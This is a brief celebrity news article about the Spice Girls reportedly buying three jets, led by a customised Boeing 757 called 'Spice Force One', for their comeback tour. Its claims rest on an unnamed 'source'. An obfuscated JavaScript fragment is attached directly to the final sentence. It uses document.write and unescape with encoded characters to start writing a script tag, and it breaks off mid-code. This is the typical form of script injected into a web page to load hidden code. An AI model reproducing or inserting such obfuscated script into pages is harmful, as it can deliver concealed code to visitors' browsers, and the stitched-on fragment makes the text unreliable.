The Spice Girls are planning to shell-out £10 million on a trio of jets for their comeback tour, it has been claimed.
The reformed girl band go back on the road in December, almost ten years since the definitive line-up last appeared on-stage together.
They will be carried by "a flying palace", in the shape of a deluxe, specially fitted Boeing 757, renamed Spice Force One and decked-out in their reunion artwork.
Victoria Beckham, Melanie Brown, Emma Bunton, Melanie Chisholm and Geri Halliwell will be ferried across the world in the plane, alongside their extended entourage.
The jet includes a crèche, dining room, business centre, media centre and sleeping quarters, according to a 'source', who said: "Spice Force One will be a flying palace.
"Along with the immediate entourage, the girls will have a team of chefs and nannies who will be on hand 24/7 to feed and look after all the VIPs on board", he explained.
Two further aircraft, dubbed Spice Force Two and Three, will carry the group's dancers, other staff and equipment, at cost of between £7-10million.
The Spice Girls kick off their comeback tour on December 2 in Vancouver, before embarking on a length series of concerts, which include 12 dates at the O2 Arena in London.
As previously reported, they will also release a new single, "Headlines", to accompany the tour.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
